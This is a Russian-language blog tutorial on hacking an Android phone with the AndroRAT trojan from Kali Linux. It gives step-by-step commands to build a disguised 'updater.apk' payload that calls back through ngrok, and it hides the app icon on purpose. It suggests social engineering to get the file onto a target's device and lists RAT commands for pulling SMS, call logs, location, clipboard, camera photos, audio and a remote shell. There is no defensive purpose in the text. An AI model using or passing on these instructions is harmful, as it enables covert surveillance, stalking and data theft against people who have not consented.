top of page

Взлом Android смартфона с помощью AndroRat

Рассказываю о том, как получить скрытый удаленный контроль над смартфоном с помощью AndroRAT

Всем салют, дорогие друзья! В сегодняшней статье мы с вами рассмотрим еще один способ удаленного контроля и мониторинга активности смартфона на базе Android. В этом нам поможет бесплатный инструмент AndroRAT.


✅ Далее я подробно покажу, как установить и использовать AndroRAT на Kali Linux.

 

Способы удаленного контроля телефона

Существует множество различных способов удаленного контроля телефона. Я уже рассказывал вам о некоторых мобильных шпионах. У них богатый функционал, но все они платные. Кроме этого, они работают, как посредник, т.е. вся информация активности телефона хранится не у вас, а на сервере разработчика мобильного шпиона. Они лишь предоставят удобный доступ к полученной информации, посредством панели управления на своем сайте.


⚡️Сегодня я предлагаю рассмотреть бесплатный способ удаленного контроля телефона, с помощью AndroRAT и Kali Linux.

 

Для удаленного контроля телефона нужно:

  • Установить АндроРАТ на Kali Linux.

  • Установить и настроить ngrok.

  • Создать полезную нагрузку (исполняемый файл .apk).

  • Установить apk-файл на целевое устройство.

 

Удаленный контроль телефона с помощью AndroRAT

AndroRAT (Remote Access Tool/Trojan. AndroRAT) — предназначен для удаленного управления телефоном Android. Это клиент-серверное приложение, разработанное на Java Android для клиентской части, а серверная часть написана на Python.

Инструмент будет работать на устройствах от Android 4.1 (Jellybean), Android 9 (Oreo), (от API 16 до API 28). Данный RAT может быть установлен на Android 10 и выше, но некоторые команды для получения информации могут работать не совсем стабильно.


Возможности AndroRAT:

  • Бэкдор (автоматическое подключение).

  • Невидимый значок после установки.

  • Использует минимальные ресурсы устройства.

  • Автоматический запуск после перезагрузки смартфона.

  • Возможность делать снимки с обеих камер

  • Запись аудио с микрофона.

  • Просмотр журнала звонков и SMS.

  • Получение текущего местоположения.

  • Данные о SIM-карте, IP-адресе и MAC-адресе устройства.

 

Как установить AndroRAT на Kali Linux

Для работы АндроРАТ нужен Python3. Для установки Python3 на Kali, используйте команду:

sudo apt install python3 python3-pip

Теперь необходимо установить Java OpenJDK:

Зайдите на официальный сайт Oracle, создайте учетную запись Oracle и войдите используя данные учетной записи.


После регистрации и входа в систему перейдите на страницу загрузки OpenJDK. Прокрутите вниз и найдите версию OpenJDK 8.


Отметив галочкой лицензионное соглашение, нажмите на ссылку jdk-8u321-linux-x64.tar.gz.


После окончания загрузки, откройте терминал и зайдите в /usr/lib/jvm:

cd /usr/lib/jvm

Если в системе не установлены другие версии Java, тогда придется создать каталог jvm в /usr/lib:

sudo mkdir -p /usr/lib/jvm

Извлеките архив OpenJDK:

sudo tar -xvzf ~/Downloads/jdk-8u321-linux-x64.tar.gz

После извлечения файлов, перейдите в каталог jdk1.8.0_321:

cd jdk1.8.0_321

Теперь необходимо изменить переменные среды Java с помощью текстового редактора (в моем случае используется текстовый редактор Nano):

sudo nano /etc/environment

На скрине выше видно, что некоторые пути уже установлены. Добавьте другие используя символ : :

/usr/lib/jvm/jdk1.8.0_321/bin:/usr/lib/jvm/jdk1.8.0_321/db/bin:/usr/lib/jvm/jdk1.8.0_321/jre/bin

Сохраните изменения, используя сочетание клавиш «CTRL+X», затем «Y» и «Enter».

Установите OpenJDK 8 в качестве альтернативы:

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_321/bin/java" 0

Установите компилятор Java:

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_321/bin/javac" 0

Теперь можно установить Java OpenJDK 8:

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_321/bin/java

Для компилятора Java используйте команду:

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_321/bin/javac

Вывод этих команд показан на следующем снимке экрана:


Выберите версию Java (сделать это можно из любого каталога):

sudo update-alternatives --config java

На приведенном выше снимке экрана вы увидите, что версия Java 8 находится под номером 2, а версия Java 11 — под номером 0.


Для переключения между версиями выберите соответствующий номер. В моем случае — это 2:

Отлично, теперь у нас используется Java 8, идем дальше!

Следующий шаг - клонирование (установка) AndroRAT на Kali:

git clone https://github.com/karma9874/AndroRAT

Переходим в каталог AndroRAT с помощью команды mv:

mv AndroRAT

Устанавливаем зависимости AndroRAT:

pip3 install -r requirements.txt

После этого нужно установить ngrok и установить токен аутентификации ngrok.


Для создания файла APK нужно выполнить команду:

python3 androRAT.py --build --ngrok -p 8888 -o ~/Desktop/updater.apk

Аргумент --build используемый в команде использует скрипт python androRAT.py и создает полезную нагрузку (файл .apk). Аргумент --ngrok используется для удаленного подключения через ngrok.


В локальной сети можно не использовать ngrok и запустить команду с параметром -i. После чего будет запущен слушатель ожидающий обратного подключения.


Для выбора иконки приложения можно использовать аргумент --icon. В моем случае я хочу получить скрытый удаленный доступ к смартфону, поэтому пропускаю данную настройку.


Параметр -o отвечает за выбор порта и местоположение файла .apk.


На скрине выше мы видим, что AndroRAT создает и подписывает файл .apk. После создания файла будет запущен прослушиватель, ожидающий подключение:

Теперь можно отправить apk-файл на смартфон. Если у вас есть нет физического доступа к устройству, тогда можно применить методы социальной инженерии.

 

Как использовать AndroRAT на Kali Linux

Для примера, установим АндроРАТ на мой личный планшет. После установки файла на целевом устройстве, вы увидите следующее сообщение в терминале Kali:

Соеденение установлено. Теперь, для взаимодействия с программой, будем использовать команды:

  • deviceInfo — основная информация об устройстве.

  • camList — идентификатор камеры.

  • takepic [идентификатор камеры] — снимок с камеры.

  • startVideo [ID камеры] — запись видео.

  • stopVideo — остановить запись видео и открыть видеофайл.

  • startAudio — запись звука.

  • stopAudio — остановить запись звука.

  • getSMS [inbox|sent] — входящие / отправленные смс.

  • getCallLogs — история вызовов.

  • shell — запуск оболочки sh.

  • vibrate [количество_раз] — вибрация.

  • getLocation — местоположение устройства.

  • getIP — ip устройства.

  • getSimDetails — информация о всех sim-картах.

  • clear — очистка экрана.

  • getClipData — данные из буфера обмена.

  • getMACAddress — mac-адрес устройства.

  • exit — выход.

Например, для получения всех СМС запустим команду getSMS:

На скрине выше, можете видеть, как были получены все СМС и сохранены в файл .txt, в каталоге «Dumps»


Точно так же, если мы хотим сделать снимок с камеры, нужно запустить команду camList. После чего появится список всех камер телефона. Затем мы можно сделать снимок с помощью команды

takepic [номер камеры]

Мы также можем получить доступ к устройству терминала и еще много чего интересного. Пробуйте!

 











1 081 просмотр0 комментариев

Недавние посты

Смотреть все

Comments


bottom of page